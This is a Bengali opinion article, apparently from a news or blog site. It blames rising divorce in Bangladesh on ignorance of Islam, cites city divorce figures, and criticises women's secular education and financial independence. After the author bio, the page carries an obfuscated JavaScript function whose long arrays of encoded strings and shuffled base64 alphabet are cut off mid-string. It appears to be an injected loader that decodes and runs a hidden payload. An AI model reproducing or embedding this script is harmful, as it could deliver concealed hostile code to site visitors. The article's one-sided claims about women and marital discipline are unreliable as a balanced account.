০৯:৩৪ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

ধর্মীয় অজ্ঞতাই বিবাহ বিচ্ছেদের মূল কারণ: একটি বিশ্লেষণ

বিয়ের আগে পাত্র-পাত্রীর দ্বীনদারী যাচাই করলে ভবিষ্যৎ বিবাহ বিচ্ছেদ এড়ানো সম্ভব। একজন প্রকৃত মুমিন জীবনের সর্বক্ষেত্রে ইসলামের চর্চা করে এবং একজন ইমানদার স্বামী কখনোই স্ত্রীর প্রতি অবিচার করতে পারে না। একজন পরহেজগার স্ত্রী শত কষ্টের মধ্যেও আল্লাহর উপর ভরসা রাখে এবং সংসার টিকিয়ে রাখার আপ্রাণ চেষ্টা করে।

বিয়ে ইসলামি শরিয়তের একটি বৈধ চুক্তি, যা প্রাপ্তবয়স্ক মুমিন নরনারীকে দাম্পত্য জীবন শুরুর অনুমতি দেয়। এই পারিবারিক ও ধর্মীয় বন্ধন ইসলামে অত্যন্ত গুরুত্বপূর্ণ, কারণ একটি সুন্দর ইসলামিক পরিবারেই ইসলামের সঠিক চর্চা সম্ভব। যে পরিবারে দ্বীনের চর্চা যত বেশি, সেই পরিবার আল্লাহর কাছে তত প্রিয়।

অথচ আধুনিক সময়ে পরিবারগুলোতে দ্বীনের চর্চা প্রায় অনুপস্থিতির কারণে বিবাহ বন্ধনগুলো ক্রমবর্ধমান হারে বিবাহ বিচ্ছেদে রূপ নিচ্ছে। কিন্তু কেন বর্তমানে ডিভোর্সের হার এত বেশি? এর কারণ অনুসন্ধানে দেখা যায়, দ্বীন ইসলামের গভীর অজ্ঞতাই ডিভোর্সের অন্যতম প্রধান কারণ। আসুন, ইসলামী জ্ঞানের অভাব কীভাবে আমাদের দেশে বিবাহ বিচ্ছেদকে মহামারীরূপে ছড়িয়ে দিচ্ছে, তা জানার চেষ্টা করি।

বিবাহ বিচ্ছেদের বর্তমান ভয়াবহ চিত্র

বর্তমান সময়ে বাংলাদেশে বিবাহ বিচ্ছেদ বা ডিভোর্সের হার উদ্বেগজনকভাবে বৃদ্ধি পেয়েছে, যা রীতিমতো ভয়াবহ। পরিসংখ্যানে দেখা যায়, ঢাকায় প্রতি চল্লিশ মিনিটে একটি বিবাহ বিচ্ছেদ ঘটছে। ২০২২ সালে রাজধানী ঢাকায় প্রতিদিন গড়ে ৩৭টি তালাকের ঘটনা নথিভুক্ত হয়েছে। এই ঊর্ধ্বমুখী প্রবণতা সারাদেশে বিস্তৃত।

এই বিবাহ বিচ্ছেদের হার রাতারাতি বাড়েনি। গত এক দশকের জরিপ পর্যালোচনা করলে দেখা যায়, কীভাবে এই নীরব পারিবারিক ঘাতক ধীরে ধীরে আমাদের সমাজকে গ্রাস করছে।

বিভিন্ন জরিপে উঠে আসা বিবাহ বিচ্ছেদের কিছু চিত্র:

  • ঢাকায় ২০২১ সালে ১৪,৬৫৯টি এবং ২০২০ সালে ১২,৫১৩টি বিবাহ বিচ্ছেদ হয়।
  • ২০২২ সালে চট্টগ্রামে বিবাহ বিচ্ছেদের সংখ্যা ছিল ৫,৯৭৬টি।
  • ২০২১ সালে রংপুরে ৭,২১৫টি এবং ২০২০ সালে ময়মনসিংহে ৬,৩৯০টি তালাকের ঘটনা ঘটে।
  • ঢাকা সিটি করপোরেশনের তথ্য অনুযায়ী, ২০১২ সালে ৭,৪০২টি, ২০১৩ সালে ৭,৭০৮টি এবং ২০১৪ সালে ৯,০৪৫টি ডিভোর্সের আবেদন জমা পড়েছিল।
  • পরিসংখ্যান অনুযায়ী, ২০১৯ সালে ঢাকা সিটি করপোরেশনে প্রতি ঘণ্টায় একটি তালাকের আবেদন জমা পড়ছিল।
  • চট্টগ্রামে প্রতিদিন গড়ে ১৮টি তালাকের ঘটনা ঘটে।

বাংলাদেশ পরিসংখ্যান ব্যুরোর (বিবিএস) ‘বাংলাদেশ স্যাম্পল ভাইটাল স্ট্যাটিসটিকস ২০২২’ শীর্ষক জরিপ অনুযায়ী, এই ব্যাপক বিবাহ বিচ্ছেদের মূল কারণগুলো গভীরভাবে পর্যালোচনা করা প্রয়োজন। জরিপে আরও দেখা যায়, বেশিরভাগ বিচ্ছেদের ঘটনা (শতকরা ৭০ ভাগ) নারীদের পক্ষ থেকে ঘটছে এবং শহরাঞ্চলে বিবাহ বিচ্ছেদের হার গ্রামাঞ্চলের তুলনায় বেশি। উচ্চবিত্ত ও নিম্নবিত্ত পরিবারেও তালাকের প্রবণতা বেশি দেখা যায়।

বিবাহ বিচ্ছেদের মূল কারণসমূহ

আমাদের সমাজে বিভিন্ন কারণে বিবাহ বিচ্ছেদ সংঘটিত হয়। এটি কেবল স্বামী বা স্ত্রীর একক সিদ্ধান্তে হয় না, বরং অনেক ক্ষেত্রে পরিবারের প্ররোচনাও এর পেছনে কাজ করে। নিচে বিবাহ বিচ্ছেদের কিছু প্রধান কারণ আলোচনা করা হলো:

পরকীয়া: বিশ্বাসের চরম লঙ্ঘন

বিবাহ বিচ্ছেদের অন্যতম প্রধান কারণ হলো বিবাহবহির্ভূত সম্পর্ক বা পরকীয়া। তথ্য প্রযুক্তির সহজলভ্যতার কারণে নারী-পুরুষের অবাধ যোগাযোগের সুযোগ বৃদ্ধি পাওয়ায় পরকীয়ার প্রবণতা বেড়েছে। স্মার্ট ডিভাইসের মাধ্যমে সহজেই বিপরীত লিঙ্গের সাথে সম্পর্ক স্থাপন করা যাচ্ছে, যা বিবাহিত জীবনে মারাত্মক প্রভাব ফেলছে। পরকীয়ায় জড়িত ব্যক্তিরা শেষ পর্যন্ত বিবাহ বিচ্ছেদের মাধ্যমে নতুন সম্পর্কের দিকে অগ্রসর হয়।

শারীরিক ও মানসিক নির্যাতন: অসহনীয় পরিস্থিতি

যৌতুক, গোঁয়ার্তুমি, স্বামীর অবাধ্যতা, বদমেজাজি স্বভাব, জুয়া বা মাদকাসক্তির মতো বিভিন্ন কারণে স্বামী কর্তৃক শারীরিক ও মানসিক নির্যাতনের শিকার হয়েও অনেক নারী বিবাহ বিচ্ছেদের পথ বেছে নেন।

যৌতুক: সামাজিক অভিশাপ

বিশেষত নিম্ন ও মধ্যবিত্ত শ্রেণীতে যৌতুকের দাবি বিবাহ বিচ্ছেদের একটি অন্যতম কারণ। এই কুপ্রথা বহু পরিবারের সুখ কেড়ে নিয়েছে।

জুয়া ও মাদকাসক্তি: ধ্বংসের পথে সংসার

গত এক দশকে জুয়া ও মাদকাসক্তির বিস্তার ঘটেছে, যার ফলে আসক্ত স্বামীরা সুস্থভাবে সংসার পরিচালনা করতে ব্যর্থ হন এবং পরিণামে বিবাহ বিচ্ছেদ ঘটে।

স্বামীর অবাধ্যতা ও স্ত্রীর আধুনিকতা: সম্পর্কের অবনতি

যদিও আমাদের সমাজে পুরুষদের ডিভোর্স দেওয়ার হার কম, তবে স্বামীর অবাধ্যতা এবং স্ত্রীর অতিরিক্ত আধুনিকতাবাদী চিন্তাভাবনাও কিছু ক্ষেত্রে বিবাহ বিচ্ছেদের কারণ হয়।

ধর্মীয় অনুশাসন চর্চা না করা: মূল দুর্বলতা

স্বামী বা স্ত্রীর অথবা উভয়েরই ধর্মীয় অনুশাসন মেনে না চলার কারণে সংসারে অশান্তি দেখা দেয় এবং এক পর্যায়ে তা বিবাহ বিচ্ছেদের দিকে ধাবিত হয়।

নারীর অর্থনৈতিক স্বাধীনতা ও সেকুলার শিক্ষা: নতুন সমীকরণ

বর্তমান সময়ে নারীরা অর্থনৈতিকভাবে স্বাবলম্বী হওয়ায় তাদের বৈবাহিক জীবনে পরিবর্তন এসেছে। অনেক নারী সংসারে মানিয়ে নেওয়ার চেয়ে আলাদা থাকাকেই শ্রেয় মনে করেন। এছাড়া সেকুলার উচ্চশিক্ষা নারীকে পুরুষের সমকক্ষ ভাবতে শেখায়, যা অনেক সময় স্বামীকে যথাযথ সম্মান না জানানোর কারণ হয় এবং বিবাহ বিচ্ছেদের দিকে ধাবিত করে।

মনোমালিন্য ও ধৈর্য্যের অভাব: সম্পর্কের শুরুতে ফাটল

সংসারের শুরুতে দুজন অপরিচিত মানুষের একে অপরকে বুঝে নিতে সময় লাগে। এই সময়ে ধৈর্য্য ধারণের অভাব এবং সামান্য মনোমালিন্যও একসময় বড় ধরনের বিচ্ছেদের কারণ হতে পারে।

পারিবারিক প্ররোচনা: বাইরের হস্তক্ষেপ

কিছু ক্ষেত্রে পরিবারের সদস্যদের কুটিলতা ও প্ররোচনায় স্বামী-স্ত্রীর মধ্যে ভুল বোঝাবুঝি তৈরি হয় এবং বিবাহ বিচ্ছেদ ঘটে।

পরস্পরের শ্রদ্ধাবোধের অভাব: অসম্মানজনক সম্পর্ক

সমবয়সী বা কম বয়সের পার্থক্য থাকলে অনেক সময় স্বামী-স্ত্রীর মধ্যে শ্রদ্ধাবোধের অভাব দেখা যায়, যা সংসারে কলহের জন্ম দেয় এবং সম্পর্ক ভেঙে যায়।

অমতে বিয়ে ও পালিয়ে বিয়ে: অনিশ্চিত সূচনা

পারিবারিক সিদ্ধান্তে অমতে বিয়ে দেওয়া অথবা নিজেদের পছন্দে পালিয়ে বিয়ে করার কারণেও সংসারে অস্থিরতা দেখা দেয় এবং বিবাহ বিচ্ছেদ ঘটে।

স্বামী স্ত্রীর দূরত্ব ও ব্যস্ততা: বিচ্ছিন্ন জীবন

সংসারের শুরুতে বনিবনা না হলে বা কর্মজীবী স্বামী-স্ত্রীর অতিরিক্ত ব্যস্ততার কারণে একে অপরের থেকে দূরত্ব সৃষ্টি হয়, যা বিবাহ বিচ্ছেদের দিকে পরিচালিত করে।

দ্বীন ইসলামের অজ্ঞতা: বিবাহ বিচ্ছেদের প্রধান অনুঘটক

উপরোক্ত কারণগুলো গভীরভাবে পর্যবেক্ষণ করলে দেখা যায়, পরিবার, সমাজ ও রাষ্ট্রে ইসলামের পরিপূর্ণ অনুসরণ না থাকাটাই বিবাহ বিচ্ছেদের মূল কারণ। যদি আমরা আমাদের জীবনে ইসলামের সঠিক শিক্ষার চর্চা করতাম, তাহলে আজ আমাদের দেশে গণহারে ডিভোর্স হতো না।

পরকীয়া ও ইসলামী অনুশাসন

ইসলাম সরাসরি পরকীয়ার বিরোধী এবং জেনা-ব্যভিচারের ব্যাপারে কঠোর শাস্তির বিধান রেখেছে। বিবাহিত নারী বা পুরুষ পরকীয়ায় লিপ্ত হলে ইসলামী শরিয়তে তার শাস্তি মৃত্যুদণ্ড পর্যন্ত হতে পারে। ইসলামী আইনের প্রয়োগ থাকলে কোনো বিবাহিত ব্যক্তি পরকীয়ায় জড়িত হওয়ার সাহস পেত না। ধর্মীয় জ্ঞানের অভাব এবং রাষ্ট্রীয়ভাবে দৃষ্টান্তমূলক শাস্তির অনুপস্থিতিই পরকীয়ার বিস্তার ঘটাচ্ছে।

যৌতুক: ইসলামে সম্পূর্ণ নিষিদ্ধ

যৌতুক প্রথা হিন্দু সংস্কৃতি থেকে আগত, ইসলামে এর কোনো স্থান নেই। ইসলাম নারীদের সম্মান দিয়েছে এবং কন্যা সন্তানের পিতামাতাকে জান্নাতের সুসংবাদ দিয়েছে। অথচ আমাদের সমাজে যৌতুকের কারণে কন্যাদায়গ্রস্ত পরিবারগুলো অসহনীয় কষ্টের শিকার হচ্ছে। ইসলামে সহজ বিবাহের কথা বলা হয়েছে, যেখানে কম খরচে বিয়ে আল্লাহর কাছে বেশি প্রিয়। ইসলামী জ্ঞানের অভাবে মানুষ বিধর্মী সংস্কৃতির চর্চা করছে এবং এর ফলস্বরূপ সংসার ভাঙছে।

কনের অমতে বা পরিবারের অনুমতি ছাড়া বিয়ে ইসলামে গ্রহণযোগ্য নয় এবং এই ধরনের বিয়ে বেশি দিন টেকে না। শরিয়ত মেনে কনের সম্মতিতে পারিবারিক ভাবে বিয়ে দিলে অনাকাঙ্ক্ষিত ঘটনা এড়ানো যায়।
কনের অমতে বা পরিবারের অনুমতি ছাড়া বিয়ে ইসলামে গ্রহণযোগ্য নয় এবং এই ধরনের বিয়ে বেশি দিন টেকে না। শরিয়ত মেনে কনের সম্মতিতে পারিবারিক ভাবে বিয়ে দিলে অনাকাঙ্ক্ষিত ঘটনা এড়ানো যায়।

জুয়া ও মাদকাসক্তি: ইসলামে হারাম

ইসলামে জুয়াসহ সকল প্রকার মাদকদ্রব্য হারাম। দুনিয়াবি লোভে পড়ে অনেক পরিবার হারামখোর পাত্রের সাথে মেয়ের বিয়ে দেয়, যার পরিণতিতে সংসারে অশান্তি নেমে আসে এবং শেষ পর্যন্ত বিবাহ বিচ্ছেদ ঘটে।

অবাধ্যতা, আধুনিকতা ও পারস্পরিক শ্রদ্ধাবোধের অভাব: ইসলামী সমাধান

আধুনিক মেয়েদের উচ্চশিক্ষা ও পারিবারিক সুশিক্ষার অভাব, স্বামীর অবাধ্যতা, মতের অমিল ও শ্রদ্ধাবোধের অভাবও বিবাহ বিচ্ছেদের কারণ। অথচ ইসলামের সঠিক অনুসরণ করলে এসব সমস্যার উদ্ভব হতো না। ইসলামে সংসারের কর্তৃত্ব স্বামীর উপর ন্যস্ত, তবে তা স্ত্রীর উপর জবরদস্তি নয়। স্ত্রী স্বামীর বাধ্যগত থাকবে এবং স্ত্রীর মতামতও গুরুত্বপূর্ণ। রাসূল (সাঃ) স্ত্রীর অনুমতি ছাড়া স্বামীর জান্নাতে প্রবেশ এবং স্বামীর সুপারিশ ছাড়া স্ত্রীর জান্নাতে যাওয়াকে নিরুৎসাহিত করেছেন। সংসারে ইসলামী অনুশাসন মেনে চললে স্বামী-স্ত্রীর মধ্যে মতবিরোধ, বিদ্বেষ বা অশ্রদ্ধা তৈরি হওয়ার সুযোগ থাকে না। রাসূল (সাঃ) স্ত্রীকে সাংসারিক কাজে সাহায্য করার এবং সম্মান দেওয়ার শিক্ষা দিয়েছেন।

পারিবারিক প্ররোচনা ও ভুল বোঝাবুঝি: সুন্নাহর পথ

নববধূর প্রতি পরিবারের সদস্যদের সহানুভূতি ও সহযোগিতা প্রয়োজন। কিন্তু অনেক ক্ষেত্রে নববধূকে সম্মান না জানিয়ে তার দোষত্রুটি নিয়ে আলোচনা করা হয়, যা তাকে সাহায্যের জন্য নিজ পরিবারের কাছে যেতে বাধ্য করে এবং দুই পরিবারের মধ্যে সংঘাত সৃষ্টি হয়। ইসলামে সমস্যা সমাধানের জন্য সুন্নাহর পদ্ধতি অনুসরণ করার কথা বলা হয়েছে, যেখানে স্ত্রীকে বোঝানো এবং প্রয়োজনে বিছানা আলাদা করার কথা বলা হয়েছে, শারীরিক বা মানসিক নির্যাতনের কোনো স্থান নেই। কিছু মানুষরূপী শয়তান পারিবারিক কলহে ইন্ধন যোগায়, অথচ আল্লাহ ঝগড়া মিটিয়ে ফেলার কথা বলেছেন। রাসূল (সাঃ) স্ত্রীকে শাসনের অনুমতি দিয়েছেন, তবে অমানবিক নির্যাতনের নয়। যৌতুকের মতো নিকৃষ্ট প্রথার চর্চা এবং ইসলাম থেকে দূরে সরে যাওয়ার কারণেই সংসারে নির্যাতন ও বিবাহ বিচ্ছেদ ঘটে।

নারীর উচ্চশিক্ষা, অর্থনৈতিক স্বাধীনতা ও স্বামীর কর্তৃত্ব: ভারসাম্যপূর্ণ দৃষ্টিভঙ্গি

নারীর উচ্চশিক্ষা ও অর্থনৈতিক স্বাধীনতা সমাজে ডিভোর্সের হার বাড়িয়ে দিয়েছে। ইসলাম নারী নেতৃত্বে বিশ্বাসী নয় এবং সংসারে স্বামীর কর্তৃত্বের কথা বলে, তবে এর অর্থ স্ত্রীকে অবজ্ঞা করা নয়। যেকোনো বিষয়ে স্বামী-স্ত্রীর পারস্পরিক সম্মতির গুরুত্ব ইসলামে স্বীকৃত, তবে স্ত্রী স্বামীর শরিয়তী অনুশাসনের প্রতি শ্রদ্ধাশীল থাকবেন। সেকুলার শিক্ষা ও নারীবাদের প্রভাবে অনেক নারী স্বামীর কর্তৃত্ব মেনে নিতে চান না এবং অর্থনৈতিক স্বাধীনতা তাদের ডিভোর্সের দিকে ধাবিত করে। কর্মজীবী স্ত্রীদের সংসারে সময় দিতে না পারাও কলহের কারণ হয়। ইসলামে প্রয়োজনের অতিরিক্ত স্ত্রীর চাকরি নিরুৎসাহিত করা হয়েছে এবং প্রয়োজনে চাকরি করলে স্বামীকে সংসারের দায়িত্ব ভাগ করে নেওয়ার কথা বলা হয়েছে।

অমতে বিয়ে ও পালিয়ে বিয়ে: ইসলামী নীতি বিরুদ্ধ

কনের অমতে বা পরিবারের অনুমতি ছাড়া বিয়ে ইসলামে গ্রহণযোগ্য নয় এবং এই ধরনের বিয়ে বেশি দিন টেকে না। শরিয়ত মেনে কনের সম্মতিতে পারিবারিক ভাবে বিয়ে দিলে অনাকাঙ্ক্ষিত ঘটনা এড়ানো যায়।

দ্বীনদারিতার চেয়ে অর্থকে প্রাধান্য দেওয়া: ভুল নির্বাচন

আমাদের সমাজে দ্বীনদারিতার চেয়ে অর্থসম্পদকে বেশি গুরুত্ব দেওয়া হয়। দ্বীনদার পাত্র আর্থিকভাবে দুর্বল হলে অনেক অভিভাবক তার সাথে মেয়ের বিয়ে দিতে চান না। পরবর্তীতে পয়সাঅলা পাত্রের সাথে বিয়ে দিলে সংসারে অশান্তি দেখা দেয়। পাত্র-পাত্রী নির্বাচনে দ্বীনদারিতাকে প্রাধান্য না দেওয়ার কারণেও বিবাহ বিচ্ছেদ ঘটে।

ইসলাম প্রতিপালনই ডিভোর্সের একমাত্র সমাধান

উপর্যুক্ত আলোচনা থেকে স্পষ্ট হয় যে, পরিবার, সমাজ ও রাষ্ট্রে ইসলামের চর্চা না থাকার কারণেই আমরা বিবাহ বিচ্ছেদের মতো ভয়াবহ সমস্যার সম্মুখীন হচ্ছি। আমাদের জীবনে ইসলামের পরিপূর্ণ অনুসরণই এই করুণ পরিণতি থেকে মুক্তি দিতে পারে।

বিয়ের আগে পাত্র-পাত্রীর দ্বীনদারী যাচাই করলে ভবিষ্যৎ বিবাহ বিচ্ছেদ এড়ানো সম্ভব। একজন প্রকৃত মুমিন জীবনের সর্বক্ষেত্রে ইসলামের চর্চা করে এবং একজন ইমানদার স্বামী কখনোই স্ত্রীর প্রতি অবিচার করতে পারে না। একজন পরহেজগার স্ত্রী শত কষ্টের মধ্যেও আল্লাহর উপর ভরসা রাখে এবং সংসার টিকিয়ে রাখার আপ্রাণ চেষ্টা করে।

অতএব, আমাদের প্রধান কাজ হলো নিজে দ্বীনদার হওয়া এবং একজন দ্বীনদার সঙ্গী খুঁজে নেওয়া, যাতে আমাদের ভবিষ্যৎ প্রজন্মও দ্বীনদার হতে পারে। নিজে ইসলাম পালন না করে একজন পরহেজগার সঙ্গী চাওয়া স্ববিরোধী। বিশিষ্ট আলেমদের মতে, বেনামাজীর সাথে নামাজীর বিয়ে বৈধ নয়।

তাই আসুন, জীবনের প্রতিটি মুহূর্তে ইসলামের পরিপূর্ণ অনুসরণ করি এবং বিবাহ বিচ্ছেদ বা ডিভোর্সের মতো মর্মান্তিক ব্যাধি থেকে মুক্তি লাভ করি।

 

মন্তব্য

লেখকতথ্য

সাখাওয়াতুল আলম চৌধুরী

সাখাওয়াতুল আলম চৌধুরী জন্ম চট্টগ্রামে। জীবিকার প্রয়োজনে একসময় প্রবাসী ছিলেন। প্রবাসের সেই কঠিন সময়ে লেখেলেখির হাতেখড়ি। গল্প, কবিতা, সাহিত্যের পাশাপাশি প্রবাসী বাংলা পত্রিকায়ও নিয়মিত কলাম লিখেছেন। প্রবাসের সেই চাকচিক্যের মায়া ত্যাগ করে মানুষের ভালোবাসার টানে দেশে এখন স্থায়ী বসবাস। বর্তমানে বেসরকারি চাকুরিজীবী। তাঁর ভালোলাগে বই পড়তে এবং পরিবারকে সময় দিতে।
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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